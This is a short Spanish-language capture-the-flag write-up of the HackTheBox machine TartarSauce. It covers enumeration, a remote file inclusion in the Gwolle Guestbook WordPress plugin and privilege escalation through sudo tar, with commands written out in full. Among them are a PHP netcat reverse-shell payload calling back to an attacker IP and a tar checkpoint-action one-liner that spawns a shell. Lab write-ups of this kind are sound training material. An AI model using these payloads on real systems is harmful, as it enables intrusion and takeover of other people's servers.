HackTheBox Medium Linux WordPress RFI Gwolle sudo tar

TartarSauce

Plugin Gwolle Guestbook vulnerable a RFI; escalada via sudo tar con checkpoint-action a bash.

cat4clysm
Herramientas utilizadas
nmap wfuzz searchsploit netcat pspy

Scanning

root@kali:~$
nmap -sC -sV -p 80 -Pn -n 10.10.10.88 -oN targeted
nmap scan

Enumeracion Web - WordPress

web
root@kali:~$
wfuzz -c --hc 403,404 -t 100 -w /usr/share/SecLists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt http://10.10.10.88/webservices/wp/FUZZ
plugins
root@kali:~$
searchsploit gwolle
searchsploit -x php/webapps/38861.txt

Explotacion - Gwolle Guestbook RFI

El plugin gwolle-gb incluye abspath via URL, permitiendo RFI:

# wp-load.php en servidor atacante:
<?php
  system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.14 4444 >/tmp/f');
?>

Accedemos a la URL para triggear el RFI:

http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.14/
shell

Escalada - sudo tar + Cron

root@kali:~$
sudo -l
# sudo -u onuma tar ...
root@kali:~$
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar privesc pspy cron

Lecciones aprendidas